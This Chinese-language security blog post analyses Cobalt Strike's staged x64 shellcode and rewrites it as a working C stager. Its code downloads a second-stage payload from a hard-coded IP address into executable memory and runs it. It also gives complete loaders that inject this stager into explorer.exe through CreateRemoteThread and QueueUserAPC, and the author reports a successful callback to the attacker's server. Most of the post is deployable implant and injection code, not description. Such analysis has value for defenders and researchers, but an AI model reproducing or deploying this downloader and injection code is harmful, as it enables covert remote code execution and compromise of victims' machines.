前言
随着圈子里的新人越来越多,我准备从这一篇开始慢慢写一些与基础知识相关的文章,方便一些对二进制安全知识了解不多的同学参考。虽然讲的还是基础知识,但是我也尽量写的实用和有趣一点,防止与网上的文章出现同质化。
这篇要讲的问题是由上一篇文章 滥用具备RWX-S权限且有签名的dll进行无感知的shellcode注入引出的,有同学问我为什么接收 metepreter
第二阶段的恶意代码需要那样写,本篇文章就回答这个问题。
另外非常欢迎各位同学在圈子里提问,能为基础知识板块的编写提供更多素材
CS的shellcode功能分析
我们这里讲的其实是stage类型的shellcode,为了方便调试从cs中获取出这一段代码,我们需要把它编译成exe,由于我是*nix
系统,这里就用nasm
进行编译,用 x86_64-w64-mingw32-ld
进行链接生成exe。
编写start.asm
如下:
然后编译链接:
nasm -f win64 start.asm -o prog1.o
x86_64-w64-mingw32-ld prog1.o -o prog1.exe
测试一下可以上线,接下来用ida打开分析一下执行逻辑
开头就是一个call
,跟进去简单看一下代码逻辑:
看到pop了rbp
,然后call rbp
,显然这个函数的作用是把call
的下一条指令作为函数进行调用,我们定义一下这个函数,然后仔细阅读一下,我对所有的代码都打了注释,这个函数包含了核心代码。
.text:000000014000100A call_function_with_hash proc near
.text:000000014000100A
.text:000000014000100A var_38 = qword ptr -38h
.text:000000014000100A
.text:000000014000100A push r9
.text:000000014000100C push r8
.text:000000014000100E push rdx
.text:000000014000100F push rcx
.text:0000000140001010 push rsi
.text:0000000140001011 xor rdx, rdx
.text:0000000140001014 mov rdx, gs:[rdx+60h] ; 获取 PEB
.text:0000000140001019 mov rdx, [rdx+18h] ; 获取 Ldr
.text:000000014000101D mov rdx, [rdx+20h] ; 获取 InMemoryOrderModuleList
.text:0000000140001021
.text:0000000140001021 loc_140001021: ; CODE XREF: call_function_with_hash+C3↓j
.text:0000000140001021 mov rsi, [rdx+50h] ; 获取第一个dll的BaseDllName
.text:0000000140001025 movzx rcx, word ptr [rdx+4Ah] ; 获取 BaseDllName unicode_string 的 max_length
.text:000000014000102A xor r9, r9
.text:000000014000102D
.text:000000014000102D loc_14000102D: ; CODE XREF: call_function_with_hash+34↓j
.text:000000014000102D xor rax, rax
.text:0000000140001030 lodsb
.text:0000000140001031 cmp al, 61h ; 'a'
.text:0000000140001033 jl short loc_140001037
.text:0000000140001035 sub al, 20h ; ' '
.text:0000000140001037
.text:0000000140001037 loc_140001037: ; CODE XREF: call_function_with_hash+29↑j
.text:0000000140001037 ror r9d, 0Dh
.text:000000014000103B add r9d, eax
.text:000000014000103E loop loc_14000102D ; 计算 hash
.text:0000000140001040 push rdx
.text:0000000140001041 push r9
.text:0000000140001043 mov rdx, [rdx+20h] ; 获取Dllbase
.text:0000000140001047 mov eax, [rdx+3Ch] ; 获取 Pe 的 nt_header
.text:000000014000104A add rax, rdx
.text:000000014000104D cmp word ptr [rax+18h], 20Bh ; 比较是不是 pe64
.text:0000000140001053 jnz short loc_1400010C7
.text:0000000140001055 mov eax, [rax+88h] ; 获取导出表
.text:000000014000105B test rax, rax
.text:000000014000105E jz short loc_1400010C7
.text:0000000140001060 add rax, rdx ; 获取导出表的地址
.text:0000000140001063 push rax
.text:0000000140001064 mov ecx, [rax+18h] ; NumberOfNames
.text:0000000140001067 mov r8d, [rax+20h] ; AddressOfNames
.text:000000014000106B add r8, rdx
.text:000000014000106E
.text:000000014000106E loc_14000106E: ; CODE XREF: call_function_with_hash+8A↓j
.text:000000014000106E jrcxz loc_1400010C6
.text:0000000140001070 dec rcx
.text:0000000140001073 mov esi, [r8+rcx*4] ; 存储函数名称地址
.text:0000000140001077 add rsi, rdx
.text:000000014000107A xor r9, r9
.text:000000014000107D
.text:000000014000107D loc_14000107D: ; CODE XREF: call_function_with_hash+80↓j
.text:000000014000107D xor rax, rax
.text:0000000140001080 lodsb
.text:0000000140001081 ror r9d, 0Dh
.text:0000000140001085 add r9d, eax
.text:0000000140001088 cmp al, ah
.text:000000014000108A jnz short loc_14000107D
.text:000000014000108C add r9, [rsp+40h+var_38]
.text:0000000140001091 cmp r9d, r10d
.text:0000000140001094 jnz short loc_14000106E ; 遍历导出表
.text:0000000140001096 pop rax
.text:0000000140001097 mov r8d, [rax+24h]
.text:000000014000109B add r8, rdx
.text:000000014000109E mov cx, [r8+rcx*2]
.text:00000001400010A3 mov r8d, [rax+1Ch]
.text:00000001400010A7 add r8, rdx
.text:00000001400010AA mov eax, [r8+rcx*4]
.text:00000001400010AE add rax, rdx ; 存储获取的函数地址
.text:00000001400010B1 pop r8
.text:00000001400010B3 pop r8
.text:00000001400010B5 pop rsi
.text:00000001400010B6 pop rcx
.text:00000001400010B7 pop rdx
.text:00000001400010B8 pop r8
.text:00000001400010BA pop r9
.text:00000001400010BC pop r10
.text:00000001400010BE sub rsp, 20h
.text:00000001400010C2 push r10
.text:00000001400010C4 jmp rax
.text:00000001400010C6 ; ---------------------------------------------------------------------------
.text:00000001400010C6
.text:00000001400010C6 loc_1400010C6: ; CODE XREF: call_function_with_hash:loc_14000106E↑j
.text:00000001400010C6 pop rax
.text:00000001400010C7
.text:00000001400010C7 loc_1400010C7: ; CODE XREF: call_function_with_hash+49↑j
.text:00000001400010C7 ; call_function_with_hash+54↑j
.text:00000001400010C7 pop r9
.text:00000001400010C9 pop rdx
.text:00000001400010CA mov rdx, [rdx]
.text:00000001400010CD jmp loc_140001021 ; 获取第一个dll的BaseDllName
.text:00000001400010CD call_function_with_hash endp
主要功能就是遍历当前的模块的导出表,根据提供的函数hash找到对应函数,然后jmp过去。Hash函数的python实现大概如下:
def ror(number,bits):
return ( (number >> bits) | (number << ( 32 - bits )) ) & 0xFFFFFFFF
def calc_sum(data,cast=False):
sum = 0
for i in data:
c = 0
if cast:
c = i - 0x20 if i >= ord('a') else i
else:
c = i
sum = ror( sum,0xd)
sum += c
return sum
def Hash(dllname,funcname):
dllname += 'x00'
dllname = dllname.encode('utf-16le')
funcname += 'x00'
funcname = funcname.encode('utf-8')
return (calc_sum(dllname,True)+calc_sum(funcname) ) & 0xFFFFFFFF
c = Hash('kernel32.dll','LoadLibraryA')
print(hex(c))
我们不在这里浪费太多篇幅,直接在这个函数的jmp rax
上下断点,使用x64dbg进行调试,把调用过的函数都记录下来,结果如下:
kernel32.LoadLibraryA("wininet")
rax = wininet.InternetOpenA(NULL,NULL,NULL,NULL,NULL)
wininet.InternetConnectA(rax,ip,port,NULL,NULL,0x3,0,0)
wininet.HttpOpenRequestA(rax,NULL,"/4v9z",NULL,NULL,NULL,0x84400200,NULL)
wininet.HttpSendRequestA(rax,"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)rn",-1,NULL,0);
kernel32.VirtualAlloc(0,0x400000,0x1000,0x40 )
wininet.InternetReadFile(rcx,rdx,0x2000,rsp)
之后就是jmp到 VirtualAlloc
的出来的这段地址上运行了。
可以看到这段代码的运行效率其实是比较低的,每调用一次函数就会遍历一遍当前所有模块的所有导出函数,但是为了减少shellcode的体积,这么做也是值得的。
下面就开始进入了本文的重点内容,对上面这一段代码进行重写。如果我们还是按照上面的思路编写shellcode,那其实毫无意义,因为随便找个shellcode框架就可以生成了,我们接下来换一种实现思路。
代码实现
首先我们知道,在一个windows系统开机之后,所有进程加载的ntdll.dll
、
kernel32.dll
、user32.dll
的基址是相同的,这是由于windows内部的某些特定机制决定的,这里就不再展开细讲了。基于这个原理,一些函数的固定的函数地址完全可以在当前进程中获取,然后作为参数传给shellcode执行,废话不多说,直接看代码。
首先定义要传入shellcode函数的数据结构,并对这个结构进行赋值:
typedef struct _SHELLDATA
{
pVirtualAlloc fnVirtualAlloc;
pLoadLibraryA fnLoadLibraryA;
pGetProcAddress fnGetProcAddress;
char wininet[15];
char InternetOpenA[15];
char InternetConnectA[18];
char HttpOpenRequestA[18];
char HttpSendRequestA[18];
char InternetReadFile[18];
INTERNET_PORT port;
char ip[15];
char path[10];
char ua[80];
}SHELLDATA, * PSHELLDATA;
// 对数据进行赋值
HMODULE kernel32 = GetModuleHandleA("kernel32");
FARPROC fnVirtualAlloc = GetProcAddress(kernel32,"VirtualAlloc");
FARPROC fnLoadLibraryA = GetProcAddress(kernel32,"LoadLibraryA");
FARPROC fnGetProcAddress = GetProcAddress(kernel32,"GetProcAddress");
SHELLDATA shelldata = {
(pVirtualAlloc)fnVirtualAlloc,
(pLoadLibraryA)fnLoadLibraryA,
(pGetProcAddress)fnGetProcAddress,
"wininet",
"InternetOpenA",
"InternetConnectA",
"HttpOpenRequestA",
"HttpSendRequestA",
"InternetReadFile",
80,
"39.107.29.229",
"/4v9z",
"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)rn"
};
接下来定义作为shellcode执行的函数:
void shellcode(SHELLDATA * pfunc_start) {
HMODULE wininet = pfunc_start->fnLoadLibraryA(pfunc_start->wininet);
pInternetOpenA fnInternetOpenA = (pInternetOpenA)pfunc_start->fnGetProcAddress(wininet, pfunc_start->InternetOpenA);
pInternetConnectA fnInternetConnectA = (pInternetConnectA)pfunc_start->fnGetProcAddress(wininet, pfunc_start->InternetConnectA);
pHttpOpenRequestA fnHttpOpenRequestA = (pHttpOpenRequestA)pfunc_start->fnGetProcAddress(wininet, pfunc_start->HttpOpenRequestA);
pHttpSendRequestA fnHttpSendRequestA = (pHttpSendRequestA)pfunc_start->fnGetProcAddress(wininet, pfunc_start->HttpSendRequestA);
pInternetReadFile fnInternetReadFile = (pInternetReadFile)pfunc_start->fnGetProcAddress(wininet, pfunc_start->InternetReadFile);
HINTERNET hin = fnInternetOpenA(NULL, NULL, NULL, NULL, NULL);
HINTERNET session = fnInternetConnectA(hin, pfunc_start->ip, pfunc_start->port, NULL, NULL, 0x3, 0, 0);
HINTERNET req = fnHttpOpenRequestA(session, NULL, pfunc_start->path, NULL, NULL, NULL, 0x84400200, NULL);
while (TRUE) {
BOOL status = fnHttpSendRequestA(req, pfunc_start->ua, -1, NULL, 0);
if (status)
break;
SleepEx(1000,FALSE);
}
LPVOID addr = pfunc_start->fnVirtualAlloc(0, 0x400000, 0x1000, 0x40);
DWORD size = 0;
LPVOID lpbuff = addr;
while (TRUE) {
BOOL status = fnInternetReadFile(req, lpbuff, 0x2000, &size);
//printf("[*] size: %d n", size);
if (status && size < 0x2000) {
break;
}
else {
lpbuff = (LPVOID)((UINT64)lpbuff + size);
}
}
((void(*)())addr)();
}
最后在main
函数中进行调用:
int WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nShowCmd
) {
shellcode(&shelldata);
return 0;
}
那这段代码要怎么才能像真正的shellcode一样,在其他进程的进程空间中执行呢?
我们参考shellcode注入相关的方法,https://github.com/knownsec/shellcodeloader
接下来只演示两种方式,分别是CreateRemoteThread
以及QueueUserAPC
。
CreateRemoteThread注入方法
使用CreateRemoteThread
进行注入非常简单,看它的定义如下:
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
线程函数其实是接受一个指针类型的参数lpParameter
,我们只需要这个参数里保存 shelldata
的指针即可,另外不要忘记把 shelldata
写到目标进程中,代码示例如下:
DWORD pid = getPID("explorer.exe");
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
SIZE_T remoteBuffer = (SIZE_T)VirtualAllocEx(process, NULL, 0x10000, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
SIZE_T size = 0;
WriteProcessMemory(process, (LPVOID)remoteBuffer, &shelldata, sizeof(shelldata), &size);
WriteProcessMemory(process, (LPVOID)(remoteBuffer+size), shellcode , (SIZE_T)shellcode_end - (SIZE_T)shellcode , NULL);
CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)(remoteBuffer + size), (LPVOID)remoteBuffer, 0, NULL);
CloseHandle(process);
可以看到代码已经注入并执行成功,cs上已经成功上线。
QueueUserAPC注入方法
QueueUserAPC
进行注入的核心是如下代码:
HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
我们向目标进程中写入的apcRoutine
作为PAPCFUNC
被调用,看一下PAPCFUNC
的定义:
虽然这个函数也接受一个指针参数,但是这个参数的值是不受我们控制的,无法把相关的数据传递给这个函数。不过这都不是什么难事,我们接下来一步步的来解决这个问题
首先这里要求apcRoutine
是一个单参数的函数,但是如果我们提供一个有两个参数的函数,这样肯定也是不会有问题的,但是问题是第二个参数并不会被 caller
初始化,如果是x86_64
,那就是寄存区rdx
不会被存储有效值。
那我们能不能在调用函数之前,自己初始化一下rdx,让rdx指向shelldata?具体要怎么做呢,想一下内存布局
初始化rdx时,需要先获取当前的 rip来做自定位,在x64平台上获取rip可以直接用指令lea rdx,[rip]
,所以初始化rdx的汇编代码就是:
lea rdx,[rip]
sub rdx,(0x7+sizeof(shelldata))
只要运行完这两条指令,rdx就指向了shelldata。那接下来shellcode
函数就可以使用rdx作为自己的第二个参数了,所以需要将shellcode的函数定义修改为:
void shellcode(LPVOID param,SHELLDATA * pfunc_start);
然后写如下代码就可以实现APC注入:
DWORD pid = getPID("explorer.exe");
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
SIZE_T remoteBuffer = (SIZE_T)VirtualAllocEx(process, NULL, 0x10000, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
SIZE_T sum_size = 0;
SIZE_T size = 0;
WriteProcessMemory(process, (LPVOID)remoteBuffer, &shelldata, sizeof(shelldata), &size);
sum_size += size;
BYTE code[]= {
0x48,0x8d,0x15,0x0,0x0,0x0,0x0, // lea rdx,[rip]
0x48,0x81,0xea,0xf7,0x0,0x0,0x0, // sub rdx, (0x7+sizeof( shelldata ))
0x90,0x90 //nop
};
WriteProcessMemory(process, (LPVOID)(remoteBuffer + sum_size), code, sizeof(code), &size);
sum_size += size;
WriteProcessMemory(process, (LPVOID)(remoteBuffer+ sum_size), shellcode, (SIZE_T)shellcode_end - (SIZE_T)shellcode , NULL);
THREADENTRY32 te32;
te32.dwSize = sizeof(te32);
HANDLE Snapshot_thread = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (Snapshot_thread != INVALID_HANDLE_VALUE)
{
if (Thread32First(Snapshot_thread, &te32))
{
do
{
if (te32.th32OwnerProcessID == pid)
{
//return te32.th32ThreadID;
HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, te32.th32ThreadID);
QueueUserAPC((PAPCFUNC)(remoteBuffer + sizeof(shelldata)), threadHandle, NULL);
}
} while (Thread32Next(Snapshot_thread, &te32));
}
}
CloseHandle(Snapshot_thread);
CloseHandle(process);
Sleep(1000 * 60*30);
看一看一下写入之后的代码如下:
最后编译选项啥的不要忘记了,之前的文章讲过的,不再细说了。
安全的矛与盾
我们的知识星球"安全的矛与盾"是一个既讲攻击也讲防御、开放的、前沿的安全技术分享社区。在这里你不仅可以学习到最新的攻击方法与逃避检测的技术,也可以学到最全面的安全防御体系,了解入侵检测、攻击防护系统的原理与实践。站在攻与防不同的视角看问题,提高自己对安全的理解和深度,做到: 知攻、知守、知进退;有矛、有盾、有安全。
更多的干货内容,更深入的技术交流,尽在知识星球“安全的矛与盾”,欢迎大家扫码加入!
今日推荐阅读
-
Windows 系统支持的各类登录类型以及对应的登录凭据提取方法 https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them -
Metasploit & CobaltStrike 的shellcode分析 https://xz.aliyun.com/t/7996 -
JNDI注入分析 https://tttang.com/archive/1611/
原文始发于微信公众号(安全的矛与盾):CS的shellcode功能分析和代码重写实战
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论